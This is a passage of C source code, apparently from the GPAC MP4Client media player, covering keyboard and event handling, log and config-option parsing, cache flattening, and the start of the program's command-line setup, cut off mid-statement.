gf_term_user_event(term, &move); } return 0; case GF_EVENT_KEYUP: switch (evt->key.key_code) { case GF_KEY_SPACE: if (evt->key.flags & GF_KEY_MOD_CTRL) switch_bench(!bench_mode); break; } break; case GF_EVENT_KEYDOWN: gf_term_process_shortcut(term, evt); switch (evt->key.key_code) { case GF_KEY_SPACE: if (evt->key.flags & GF_KEY_MOD_CTRL) { /*ignore key repeat*/ if (!bench_mode) switch_bench(!bench_mode); } break; case GF_KEY_PAGEDOWN: case GF_KEY_MEDIANEXTTRACK: request_next_playlist_item = 1; break; case GF_KEY_MEDIAPREVIOUSTRACK: break; case GF_KEY_ESCAPE: gf_term_set_option(term, GF_OPT_FULLSCREEN, !gf_term_get_option(term, GF_OPT_FULLSCREEN)); break; case GF_KEY_C: if (evt->key.flags & (GF_KEY_MOD_CTRL|GF_KEY_MOD_ALT)) { hide_shell(shell_visible ? 1 : 0); if (!shell_visible) gui_mode=1; } break; case GF_KEY_F: if (evt->key.flags & GF_KEY_MOD_CTRL) fprintf(stderr, "Rendering rate: %f FPS\n", gf_term_get_framerate(term, 0)); break; case GF_KEY_T: if (evt->key.flags & GF_KEY_MOD_CTRL) fprintf(stderr, "Scene Time: %f \n", gf_term_get_time_in_ms(term)/1000.0); break; case GF_KEY_D: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_DRAW_MODE, (gf_term_get_option(term, GF_OPT_DRAW_MODE)==GF_DRAW_MODE_DEFER) ? GF_DRAW_MODE_IMMEDIATE : GF_DRAW_MODE_DEFER ); break; case GF_KEY_4: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_4_3); break; case GF_KEY_5: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_16_9); break; case GF_KEY_6: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); break; case GF_KEY_7: if (evt->key.flags & GF_KEY_MOD_CTRL) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_KEEP); break; case GF_KEY_O: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { if (gf_term_get_option(term, GF_OPT_MAIN_ADDON)) { fprintf(stderr, "Resuming to main content\n"); gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_PLAY_LIVE); } else { fprintf(stderr, "Main addon not enabled\n"); } } break; case GF_KEY_P: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { u32 pause_state = gf_term_get_option(term, GF_OPT_PLAY_STATE) ; fprintf(stderr, "[Status: %s]\n", pause_state ? "Playing" : "Paused"); if ((pause_state == GF_STATE_PAUSED) && (evt->key.flags & GF_KEY_MOD_SHIFT)) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_PLAY_LIVE); } else { gf_term_set_option(term, GF_OPT_PLAY_STATE, (pause_state==GF_STATE_PAUSED) ? GF_STATE_PLAYING : GF_STATE_PAUSED); } } break; case GF_KEY_S: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_set_option(term, GF_OPT_PLAY_STATE, GF_STATE_STEP_PAUSE); fprintf(stderr, "Step time: "); PrintTime(gf_term_get_time_in_ms(term)); fprintf(stderr, "\n"); } break; case GF_KEY_B: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) ViewODs(term, 1); break; case GF_KEY_M: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) ViewODs(term, 0); break; case GF_KEY_H: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_switch_quality(term, 1); // gf_term_set_option(term, GF_OPT_MULTIVIEW_MODE, 0); } break; case GF_KEY_L: if ((evt->key.flags & GF_KEY_MOD_CTRL) && is_connected) { gf_term_switch_quality(term, 0); // gf_term_set_option(term, GF_OPT_MULTIVIEW_MODE, 1); } break; case GF_KEY_F5: if (is_connected) reload = 1; break; case GF_KEY_A: addon_visible = !addon_visible; gf_term_toggle_addons(term, addon_visible); break; case GF_KEY_UP: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(playback_speed * 2); } break; case GF_KEY_DOWN: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(playback_speed / 2); } break; case GF_KEY_LEFT: if ((evt->key.flags & VK_MOD) && is_connected) { do_set_speed(-1 * playback_speed ); } break; } break; case GF_EVENT_CONNECT: if (evt->connect.is_connected) { is_connected = 1; fprintf(stderr, "Service Connected\n"); eos_seen = GF_FALSE; if (playback_speed != FIX_ONE) gf_term_set_speed(term, playback_speed); } else if (is_connected) { fprintf(stderr, "Service %s\n", is_connected ? "Disconnected" : "Connection Failed"); is_connected = 0; Duration = 0; } if (init_w && init_h) { gf_term_set_size(term, init_w, init_h); } ResetCaption(); break; case GF_EVENT_EOS: eos_seen = GF_TRUE; if (playlist) { if (Duration>1500) request_next_playlist_item = GF_TRUE; } else if (loop_at_end) { restart = 1; } break; case GF_EVENT_SIZE: if (user.init_flags & GF_TERM_WINDOWLESS) { GF_Event move; move.type = GF_EVENT_MOVE; move.move.align_x = align_mode & 0xFF; move.move.align_y = (align_mode>>8) & 0xFF; move.move.relative = 2; gf_term_user_event(term, &move); } break; case GF_EVENT_SCENE_SIZE: if (forced_width && forced_height) { GF_Event size; size.type = GF_EVENT_SIZE; size.size.width = forced_width; size.size.height = forced_height; gf_term_user_event(term, &size); } break; case GF_EVENT_METADATA: ResetCaption(); break; case GF_EVENT_RELOAD: if (is_connected) reload = 1; break; case GF_EVENT_DROPFILE: { u32 i, pos; /*todo - force playlist mode*/ if (readonly_playlist) { gf_fclose(playlist); playlist = NULL; } readonly_playlist = 0; if (!playlist) { readonly_playlist = 0; playlist = gf_temp_file_new(NULL); } pos = ftell(playlist); i=0; while (i<evt->open_file.nb_files) { if (evt->open_file.files[i] != NULL) { fprintf(playlist, "%s\n", evt->open_file.files[i]); } i++; } fseek(playlist, pos, SEEK_SET); request_next_playlist_item = 1; } return 1; case GF_EVENT_QUIT: if (evt->message.error) { fprintf(stderr, "A fatal error was encoutered: %s (%s) - exiting ...\n", evt->message.message ? evt->message.message : "no details", gf_error_to_string(evt->message.error) ); } Run = 0; break; case GF_EVENT_DISCONNECT: gf_term_disconnect(term); break; case GF_EVENT_MIGRATE: { } break; case GF_EVENT_NAVIGATE_INFO: if (evt->navigate.to_url) fprintf(stderr, "Go to URL: \"%s\"\r", evt->navigate.to_url); break; case GF_EVENT_NAVIGATE: if (gf_term_is_supported_url(term, evt->navigate.to_url, 1, no_mime_check)) { strncpy(the_url, evt->navigate.to_url, sizeof(the_url)-1); the_url[sizeof(the_url) - 1] = 0; fprintf(stderr, "Navigating to URL %s\n", the_url); gf_term_navigate_to(term, evt->navigate.to_url); return 1; } else { fprintf(stderr, "Navigation destination not supported\nGo to URL: %s\n", evt->navigate.to_url); } break; case GF_EVENT_SET_CAPTION: gf_term_user_event(term, evt); break; case GF_EVENT_AUTHORIZATION: { int maxTries = 1; assert( evt->type == GF_EVENT_AUTHORIZATION); assert( evt->auth.user); assert( evt->auth.password); assert( evt->auth.site_url); while ((!strlen(evt->auth.user) || !strlen(evt->auth.password)) && (maxTries--) >= 0) { fprintf(stderr, "**** Authorization required for site %s ****\n", evt->auth.site_url); fprintf(stderr, "login : "); read_line_input(evt->auth.user, 50, 1); fprintf(stderr, "\npassword: "); read_line_input(evt->auth.password, 50, 0); fprintf(stderr, "*********\n"); } if (maxTries < 0) { fprintf(stderr, "**** No User or password has been filled, aborting ***\n"); return 0; } return 1; } case GF_EVENT_ADDON_DETECTED: if (enable_add_ons) { fprintf(stderr, "Media Addon %s detected - enabling it\n", evt->addon_connect.addon_url); addon_visible = 1; } return enable_add_ons; } return 0; } void list_modules(GF_ModuleManager *modules) { u32 i; fprintf(stderr, "\rAvailable modules:\n"); for (i=0; i<gf_modules_get_count(modules); i++) { char *str = (char *) gf_modules_get_file_name(modules, i); if (str) fprintf(stderr, "\t%s\n", str); } fprintf(stderr, "\n"); } void set_navigation() { GF_Err e; char nav; u32 type = gf_term_get_option(term, GF_OPT_NAVIGATION_TYPE); e = GF_OK; fflush(stdin); if (!type) { fprintf(stderr, "Content/compositor doesn't allow user-selectable navigation\n"); } else if (type==1) { fprintf(stderr, "Select Navigation (\'N\'one, \'E\'xamine, \'S\'lide): "); nav = getch(); if (nav=='N') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_NONE); else if (nav=='E') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_EXAMINE); else if (nav=='S') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_SLIDE); else fprintf(stderr, "Unknown selector \'%c\' - only \'N\',\'E\',\'S\' allowed\n", nav); } else if (type==2) { fprintf(stderr, "Select Navigation (\'N\'one, \'W\'alk, \'F\'ly, \'E\'xamine, \'P\'an, \'S\'lide, \'G\'ame, \'V\'R, \'O\'rbit): "); nav = getch(); if (nav=='N') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_NONE); else if (nav=='W') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_WALK); else if (nav=='F') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_FLY); else if (nav=='E') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_EXAMINE); else if (nav=='P') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_PAN); else if (nav=='S') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_SLIDE); else if (nav=='G') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_GAME); else if (nav=='O') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_ORBIT); else if (nav=='V') e = gf_term_set_option(term, GF_OPT_NAVIGATION, GF_NAVIGATE_VR); else fprintf(stderr, "Unknown selector %c - only \'N\',\'W\',\'F\',\'E\',\'P\',\'S\',\'G\', \'V\', \'O\' allowed\n", nav); } if (e) fprintf(stderr, "Error setting mode: %s\n", gf_error_to_string(e)); } static Bool get_time_list(char *arg, u32 *times, u32 *nb_times) { char *str; Float var; Double sec; u32 h, m, s, ms, f, fps; if (!arg || (arg[0]=='-') || !isdigit(arg[0])) return 0; /*SMPTE time code*/ if (strchr(arg, ':') && strchr(arg, ';') && strchr(arg, '/')) { if (sscanf(arg, "%02ud:%02ud:%02ud;%02ud/%02ud", &h, &m, &s, &f, &fps)==5) { sec = 0; if (fps) sec = ((Double)f) / fps; sec += 3600*h + 60*m + s; times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; return 1; } } while (arg) { str = strchr(arg, '-'); if (str) str[0] = 0; /*HH:MM:SS:MS time code*/ if (strchr(arg, ':') && (sscanf(arg, "%u:%u:%u:%u", &h, &m, &s, &ms)==4)) { sec = ms; sec /= 1000; sec += 3600*h + 60*m + s; times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; } else if (sscanf(arg, "%f", &var)==1) { sec = atof(arg); times[*nb_times] = (u32) (1000*sec); (*nb_times) ++; } if (!str) break; str[0] = '-'; arg = str+1; } return 1; } static u64 last_log_time=0; static void on_gpac_log(void *cbk, GF_LOG_Level ll, GF_LOG_Tool lm, const char *fmt, va_list list) { FILE *logs = cbk ? cbk : stderr; if (rti_logs && (lm & GF_LOG_RTI)) { char szMsg[2048]; vsprintf(szMsg, fmt, list); UpdateRTInfo(szMsg + 6 /*"[RTI] "*/); } else { if (log_time_start) { u64 now = gf_sys_clock_high_res(); fprintf(logs, "At "LLD" (diff %d) - ", now - log_time_start, (u32) (now - last_log_time) ); last_log_time = now; } if (log_utc_time) { u64 utc_clock = gf_net_get_utc() ; time_t secs = utc_clock/1000; struct tm t; t = *gmtime(&secs); fprintf(logs, "UTC %d-%02d-%02dT%02d:%02d:%02dZ (TS "LLU") - ", 1900+t.tm_year, t.tm_mon+1, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec, utc_clock); } vfprintf(logs, fmt, list); fflush(logs); } } static void init_rti_logs(char *rti_file, char *url, Bool use_rtix) { if (rti_logs) gf_fclose(rti_logs); rti_logs = gf_fopen(rti_file, "wt"); if (rti_logs) { fprintf(rti_logs, "!! GPAC RunTime Info "); if (url) fprintf(rti_logs, "for file %s", url); fprintf(rti_logs, " !!\n"); fprintf(rti_logs, "SysTime(ms)\tSceneTime(ms)\tCPU\tFPS\tMemory(kB)\tObservation\n"); /*turn on RTI loging*/ if (use_rtix) { gf_log_set_callback(NULL, on_gpac_log); gf_log_set_tool_level(GF_LOG_RTI, GF_LOG_DEBUG); GF_LOG(GF_LOG_DEBUG, GF_LOG_RTI, ("[RTI] System state when enabling log\n")); } else if (log_time_start) { log_time_start = gf_sys_clock_high_res(); } } } void set_cfg_option(char *opt_string) { char *sep, *sep2, szSec[1024], szKey[1024], szVal[1024]; sep = strchr(opt_string, ':'); if (!sep) { fprintf(stderr, "Badly formatted option %s - expected Section:Name=Value\n", opt_string); return; } { const size_t sepIdx = sep - opt_string; if (sepIdx >= sizeof(szSec)) { fprintf(stderr, "Badly formatted option %s - Section name is too long\n", opt_string); return; } strncpy(szSec, opt_string, sepIdx); szSec[sepIdx] = 0; } sep ++; sep2 = strchr(sep, '='); if (!sep2) { fprintf(stderr, "Badly formatted option %s - expected Section:Name=Value\n", opt_string); return; } { const size_t sepIdx = sep2 - sep; if (sepIdx >= sizeof(szKey)) { fprintf(stderr, "Badly formatted option %s - key name is too long\n", opt_string); return; } strncpy(szKey, sep, sepIdx); szKey[sepIdx] = 0; if (strlen(sep2 + 1) >= sizeof(szVal)) { fprintf(stderr, "Badly formatted option %s - value is too long\n", opt_string); return; } strcpy(szVal, sep2+1); } if (!stricmp(szKey, "*")) { if (stricmp(szVal, "null")) { fprintf(stderr, "Badly formatted option %s - expected Section:*=null\n", opt_string); return; } gf_cfg_del_section(cfg_file, szSec); return; } if (!stricmp(szVal, "null")) { szVal[0]=0; } gf_cfg_set_key(cfg_file, szSec, szKey, szVal[0] ? szVal : NULL); } Bool revert_cache_file(void *cbck, char *item_name, char *item_path, GF_FileEnumInfo *file_info) { const char *url; char *sep; GF_Config *cached; if (strncmp(item_name, "gpac_cache_", 11)) return GF_FALSE; cached = gf_cfg_new(NULL, item_path); url = gf_cfg_get_key(cached, "cache", "url"); if (url) url = strstr(url, "://"); if (url) { u32 i, len, dir_len=0, k=0; char *dst_name; sep = strstr(item_path, "gpac_cache_"); if (sep) { sep[0] = 0; dir_len = (u32) strlen(item_path); sep[0] = 'g'; } url+=3; len = (u32) strlen(url); dst_name = gf_malloc(len+dir_len+1); memset(dst_name, 0, len+dir_len+1); strncpy(dst_name, item_path, dir_len); k=dir_len; for (i=0; i<len; i++) { dst_name[k] = url[i]; if (dst_name[k]==':') dst_name[k]='_'; else if (dst_name[k]=='/') { if (!gf_dir_exists(dst_name)) gf_mkdir(dst_name); } k++; } sep = strrchr(item_path, '.'); if (sep) { sep[0]=0; if (gf_file_exists(item_path)) { gf_move_file(item_path, dst_name); } sep[0]='.'; } gf_free(dst_name); } gf_cfg_del(cached); gf_delete_file(item_path); return GF_FALSE; } void do_flatten_cache(const char *cache_dir) { gf_enum_directory(cache_dir, GF_FALSE, revert_cache_file, NULL, "*.txt"); } #ifdef WIN32 #include <wincon.h> #endif static void progress_quiet(const void *cbck, const char *title, u64 done, u64 total) { } int mp4client_main(int argc, char **argv) { char c; const char *str; int ret_val = 0; u32 i, times[100], nb_times, dump_mode; u32 simulation_time_in_ms = 0; u32 initial_service_id = 0; Bool auto_exit = GF_FALSE; Bool logs_set = GF_FALSE; Bool start_fs = GF_FALSE; Bool use_rtix = GF_FALSE; Bool pause_at_first = GF_FALSE; Bool no_cfg_save = GF_FALSE; Bool is_cfg_only = GF_FALSE; Double play_from = 0; #ifdef GPAC_MEMORY_TRACKING GF_MemTrackerType mem_track = GF_MemTrackerNone; #endif Double fps = GF_IMPORT_DEFAULT_FPS; Bool fill_ar, visible, do_uncache, has_command; char *url_arg, *out_arg, *the_cfg, *rti_file, *views, *mosaic; FILE *logfile = NULL; Float scale = 1; #ifndef WIN32 dlopen(NULL, RTLD_NOW|RTLD_GLOBAL); #endif /*by default use current dir*/ strcpy(the_url, "."); memset(&user, 0, sizeof(GF_User)); dump_mode = DUMP_NONE; fill_ar = visible = do_uncache = has_command = GF_FALSE; url_arg = out_arg = the_cfg = rti_file = views = mosaic = NULL; nb_times = 0; times[0] = 0; /*first locate config file if specified*/ for (i=1; i<(u32) argc; i++) { char *arg = argv[i]; if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) { the_cfg = argv[i+1]; i++; } else if (!strcmp(arg, "-mem-track") || !strcmp(arg, "-mem-track-stack")) { #ifdef GPAC_MEMORY_TRACKING mem_track = !strcmp(arg, "-mem-track-stack") ? GF_MemTrackerBackTrace : GF_MemTrackerSimple; #else fprintf(stderr, "WARNING - GPAC not compiled with Memory Tracker - ignoring \"%s\"\n", arg); #endif } else if (!strcmp(arg, "-gui")) { gui_mode = 1; } else if (!strcmp(arg, "-guid")) { gui_mode = 2; } else if (!strcmp(arg, "-h") || !strcmp(arg, "-help")) { PrintUsage(); return 0; } } #ifdef GPAC_MEMORY_TRACKING gf_sys_init(mem_track); #else gf_sys_init(GF_MemTrackerNone); #endif gf_sys_set_args(argc, (const char **) argv); cfg_file = gf_cfg_init(the_cfg, NULL); if (!cfg_file) { fprintf(stderr, "Error: Configuration File not found\n"); return 1; } /*if logs are specified, use them*/ if (gf_log_set_tools_levels( gf_cfg_get_key(cfg_file, "General", "Logs") ) != GF_OK) { return 1; } if( gf_cfg_get_key(cfg_file, "General", "Logs") != NULL ) { logs_set = GF_TRUE; } if (!gui_mode) { str = gf_cfg_get_key(cfg_file, "General", "ForceGUI"); if (str && !strcmp(str, "yes")) gui_mode = 1; } for (i=1; i<(u32) argc; i++) { char *arg = argv[i]; if (!strcmp(arg, "-rti")) { rti_file = argv[i+1]; i++; } else if (!strcmp(arg, "-rtix")) { rti_file = argv[i+1]; i++; use_rtix = GF_TRUE; } else if (!stricmp(arg, "-size")) { /*usage of %ud breaks sscanf on MSVC*/ if (sscanf(argv[i+1], "%dx%d", &forced_width, &forced_height) != 2) { forced_width = forced_height = 0; } i++; } else if (!strcmp(arg, "-quiet")) { be_quiet = 1; } else if (!strcmp(arg, "-strict-error")) { gf_log_set_strict_error(1); } else if (!strcmp(arg, "-log-file") || !strcmp(arg, "-lf")) { logfile = gf_fopen(argv[i+1], "wt"); gf_log_set_callback(logfile, on_gpac_log); i++; } else if (!strcmp(arg, "-logs") ) { if (gf_log_set_tools_levels(argv[i+1]) != GF_OK) { return 1; } logs_set = GF_TRUE; i++; } else if (!strcmp(arg, "-log-clock") || !strcmp(arg, "-lc")) { log_time_start = 1; } else if (!strcmp(arg, "-log-utc") || !strcmp(arg, "-lu")) { log_utc_time = 1; } #if defined(__DARWIN__) || defined(__APPLE__) else if (!strcmp(arg, "-thread")) threading_flags = 0; #else else if (!strcmp(arg, "-no-thread")) threading_flags = GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_WINDOW_NO_THREAD; #endif else if (!strcmp(arg, "-no-cthread") || !strcmp(arg, "-no-compositor-thread")) threading_flags |= GF_TERM_NO_COMPOSITOR_THREAD; else if (!strcmp(arg, "-no-audio")) no_audio = 1; else if (!strcmp(arg, "-no-regulation")) no_regulation = 1; else if (!strcmp(arg, "-fs")) start_fs = 1; else if (!strcmp(arg, "-opt")) { set_cfg_option(argv[i+1]); i++; } else if (!strcmp(arg, "-conf")) { set_cfg_option(argv[i+1]); is_cfg_only=GF_TRUE; i++; } else if (!strcmp(arg, "-ifce")) { gf_cfg_set_key(cfg_file, "Network", "DefaultMCastInterface", argv[i+1]); i++; } else if (!stricmp(arg, "-help")) { PrintUsage(); return 1; } else if (!stricmp(arg, "-noprog")) { no_prog=1; gf_set_progress_callback(NULL, progress_quiet); } else if (!stricmp(arg, "-no-save") || !stricmp(arg, "--no-save") /*old versions used --n-save ...*/) { no_cfg_save=1; } else if (!stricmp(arg, "-ntp-shift")) { s32 shift = atoi(argv[i+1]); i++; gf_net_set_ntp_shift(shift); } else if (!stricmp(arg, "-run-for")) { simulation_time_in_ms = atoi(argv[i+1]) * 1000; if (!simulation_time_in_ms) simulation_time_in_ms = 1; /*1ms*/ i++; } else if (!strcmp(arg, "-out")) { out_arg = argv[i+1]; i++; } else if (!stricmp(arg, "-fps")) { fps = atof(argv[i+1]); i++; } else if (!strcmp(arg, "-avi") || !strcmp(arg, "-sha")) { dump_mode &= 0xFFFF0000; if (!strcmp(arg, "-sha")) dump_mode |= DUMP_SHA1; else dump_mode |= DUMP_AVI; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) { if (!strcmp(arg, "-avi") && (nb_times!=2) ) { fprintf(stderr, "Only one time arg found for -avi - check usage\n"); return 1; } i++; } } else if (!strcmp(arg, "-rgbds")) { /*get dump in rgbds pixel format*/ dump_mode |= DUMP_RGB_DEPTH_SHAPE; } else if (!strcmp(arg, "-rgbd")) { /*get dump in rgbd pixel format*/ dump_mode |= DUMP_RGB_DEPTH; } else if (!strcmp(arg, "-depth")) { dump_mode |= DUMP_DEPTH_ONLY; } else if (!strcmp(arg, "-bmp")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_BMP; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!strcmp(arg, "-png")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_PNG; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!strcmp(arg, "-raw")) { dump_mode &= 0xFFFF0000; dump_mode |= DUMP_RAW; if ((url_arg || (i+2<(u32)argc)) && get_time_list(argv[i+1], times, &nb_times)) i++; } else if (!stricmp(arg, "-scale")) { sscanf(argv[i+1], "%f", &scale); i++; } else if (!strcmp(arg, "-c") || !strcmp(arg, "-cfg")) { /* already parsed */ i++; } /*arguments only used in non-gui mode*/ if (!gui_mode) { if (arg[0] != '-') { if (url_arg) { fprintf(stderr, "Several input URLs provided (\"%s\", \"%s\"). Check your command-line.\n", url_arg, arg); return 1; } url_arg = arg; } else if (!strcmp(arg, "-loop")) loop_at_end = 1; else if (!strcmp(arg, "-bench")) bench_mode = 1; else if (!strcmp(arg, "-vbench")) bench_mode = 2; else if (!strcmp(arg, "-sbench")) bench_mode = 3; else if (!strcmp(arg, "-no-addon")) enable_add_ons = GF_FALSE; else if (!strcmp(arg, "-pause")) pause_at_first = 1; else if (!strcmp(arg, "-play-from")) { play_from = atof((const char *) argv[i+1]); i++; } else if (!strcmp(arg, "-speed")) { playback_speed = FLT2FIX( atof((const char *) argv[i+1]) ); if (playback_speed <= 0) playback_speed = FIX_ONE; i++; } else if (!strcmp(arg, "-no-wnd")) user.init_flags |= GF_TERM_WINDOWLESS; else if (!strcmp(arg, "-no-back")) user.init_flags |= GF_TERM_WINDOW_TRANSPARENT; else if (!strcmp(arg, "-align")) { if (argv[i+1][0]=='m') align_mode = 1; else if (argv[i+1][0]=='b') align_mode = 2; align_mode <<= 8; if (argv[i+1][1]=='m') align_mode |= 1; else if (argv[i+1][1]=='r') align_mode |= 2; i++; } else if (!strcmp(arg, "-fill")) { fill_ar = GF_TRUE; } else if (!strcmp(arg, "-show")) { visible = 1; } else if (!strcmp(arg, "-uncache")) { do_uncache = GF_TRUE; } else if (!strcmp(arg, "-exit")) auto_exit = GF_TRUE; else if (!stricmp(arg, "-views")) { views = argv[i+1]; i++; } else if (!stricmp(arg, "-mosaic")) { mosaic = argv[i+1]; i++; } else if (!stricmp(arg, "-com")) { has_command = GF_TRUE; i++; } else if (!stricmp(arg, "-service")) { initial_service_id = atoi(argv[i+1]); i++; } } } if (is_cfg_only) { gf_cfg_del(cfg_file); fprintf(stderr, "GPAC Config updated\n"); return 0; } if (do_uncache) { const char *cache_dir = gf_cfg_get_key(cfg_file, "General", "CacheDirectory"); do_flatten_cache(cache_dir); fprintf(stderr, "GPAC Cache dir %s flattened\n", cache_dir); gf_cfg_del(cfg_file); return 0; } if (dump_mode && !url_arg ) { FILE *test; url_arg = (char *)gf_cfg_get_key(cfg_file, "General", "StartupFile"); test = url_arg ? gf_fopen(url_arg, "rt") : NULL; if (!test) url_arg = NULL; else gf_fclose(test); if (!url_arg) { fprintf(stderr, "Missing argument for dump\n"); PrintUsage(); if (logfile) gf_fclose(logfile); return 1; } } if (!gui_mode && !url_arg && (gf_cfg_get_key(cfg_file, "General", "StartupFile") != NULL)) { gui_mode=1; } #ifdef WIN32 if (gui_mode==1) { const char *opt; TCHAR buffer[1024]; DWORD res = GetCurrentDirectory(1024, buffer); buffer[res] = 0; opt = gf_cfg_get_key(cfg_file, "General", "ModulesDirectory"); if (strstr(opt, buffer)) { gui_mode=1; } else { gui_mode=2; } } #endif if (gui_mode==1) { hide_shell(1); } if (gui_mode) { no_prog=1; gf_set_progress_callback(NULL, progress_quiet); } if (!url_arg && simulation_time_in_ms) simulation_time_in_ms += gf_sys_clock(); #if defined(__DARWIN__) || defined(__APPLE__) carbon_init(); #endif if (dump_mode) rti_file = NULL; if (!logs_set) { gf_log_set_tool_level(GF_LOG_ALL, GF_LOG_WARNING); } //only override default log callback when needed if (rti_file || logfile || log_utc_time || log_time_start) gf_log_set_callback(NULL, on_gpac_log); if (rti_file) init_rti_logs(rti_file, url_arg, use_rtix); { GF_SystemRTInfo rti; if (gf_sys_get_rti(0, &rti, 0)) fprintf(stderr, "System info: %d MB RAM - %d cores\n", (u32) (rti.physical_memory/1024/1024), rti.nb_cores); } /*setup dumping options*/ if (dump_mode) { user.init_flags |= GF_TERM_NO_DECODER_THREAD | GF_TERM_NO_COMPOSITOR_THREAD | GF_TERM_NO_REGULATION; if (!visible) user.init_flags |= GF_TERM_INIT_HIDE; gf_cfg_set_key(cfg_file, "Audio", "DriverName", "Raw Audio Output"); no_cfg_save=GF_TRUE; } else { init_w = forced_width; init_h = forced_height; } user.modules = gf_modules_new(NULL, cfg_file); if (user.modules) i = gf_modules_get_count(user.modules); if (!i || !user.modules) { fprintf(stderr, "Error: no modules found - exiting\n"); if (user.modules) gf_modules_del(user.modules); gf_cfg_del(cfg_file); gf_sys_close(); if (logfile) gf_fclose(logfile); return 1; } fprintf(stderr, "Modules Found : %d \n", i); str = gf_cfg_get_key(cfg_file, "General", "GPACVersion"); if (!str || strcmp(str, GPAC_FULL_VERSION)) { gf_cfg_del_section(cfg_file, "PluginsCache"); gf_cfg_set_key(cfg_file, "General", "GPACVersion", GPAC_FULL_VERSION); } user.config = cfg_file; user.EventProc = GPAC_EventProc; /*dummy in this case (global vars) but MUST be non-NULL*/ user.opaque = user.modules; if (threading_flags) user.init_flags |= threading_flags; if (no_audio) user.init_flags |= GF_TERM_NO_AUDIO; if (no_regulation) user.init_flags |= GF_TERM_NO_REGULATION; if (threading_flags & (GF_TERM_NO_DECODER_THREAD|GF_TERM_NO_COMPOSITOR_THREAD) ) term_step = GF_TRUE; //in dump mode we don't want to rely on system clock but on the number of samples being consumed if (dump_mode) user.init_flags |= GF_TERM_USE_AUDIO_HW_CLOCK; if (bench_mode) { gf_cfg_discard_changes(user.config); auto_exit = GF_TRUE; gf_cfg_set_key(user.config, "Audio", "DriverName", "Raw Audio Output"); if (bench_mode!=2) { gf_cfg_set_key(user.config, "Video", "DriverName", "Raw Video Output"); gf_cfg_set_key(user.config, "RAWVideo", "RawOutput", "null"); gf_cfg_set_key(user.config, "Compositor", "OpenGLMode", "disable"); } else { gf_cfg_set_key(user.config, "Video", "DisableVSync", "yes"); } } { char dim[50]; sprintf(dim, "%d", forced_width); gf_cfg_set_key(user.config, "Compositor", "DefaultWidth", forced_width ? dim : NULL); sprintf(dim, "%d", forced_height); gf_cfg_set_key(user.config, "Compositor", "DefaultHeight", forced_height ? dim : NULL); } fprintf(stderr, "Loading GPAC Terminal\n"); i = gf_sys_clock(); term = gf_term_new(&user); if (!term) { fprintf(stderr, "\nInit error - check you have at least one video out and one rasterizer...\nFound modules:\n"); list_modules(user.modules); gf_modules_del(user.modules); gf_cfg_discard_changes(cfg_file); gf_cfg_del(cfg_file); gf_sys_close(); if (logfile) gf_fclose(logfile); return 1; } fprintf(stderr, "Terminal Loaded in %d ms\n", gf_sys_clock()-i); if (bench_mode) { display_rti = 2; gf_term_set_option(term, GF_OPT_VIDEO_BENCH, (bench_mode==3) ? 2 : 1); if (bench_mode==1) bench_mode=2; } if (dump_mode) { // gf_term_set_option(term, GF_OPT_VISIBLE, 0); if (fill_ar) gf_term_set_option(term, GF_OPT_ASPECT_RATIO, GF_ASPECT_RATIO_FILL_SCREEN); } else { /*check video output*/ str = gf_cfg_get_key(cfg_file, "Video", "DriverName"); if (!bench_mode && !strcmp(str, "Raw Video Output")) fprintf(stderr, "WARNING: using raw output video (memory only) - no display used\n"); /*check audio output*/ str = gf_cfg_get_key(cfg_file, "Audio", "DriverName"); if (!str || !strcmp(str, "No Audio Output Available")) fprintf(stderr, "WARNING: no audio output available - make sure no other program is locking the sound card\n"); str = gf_cfg_get_key(cfg_file, "General", "NoMIMETypeFetch"); no_mime_check = (str && !stricmp(str, "yes")) ? 1 : 0; } str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Enabled"); if (str && !strcmp(str, "yes")) { str = gf_cfg_get_key(cfg_file, "HTTPProxy", "Name"); if (str) fprintf(stderr, "HTTP 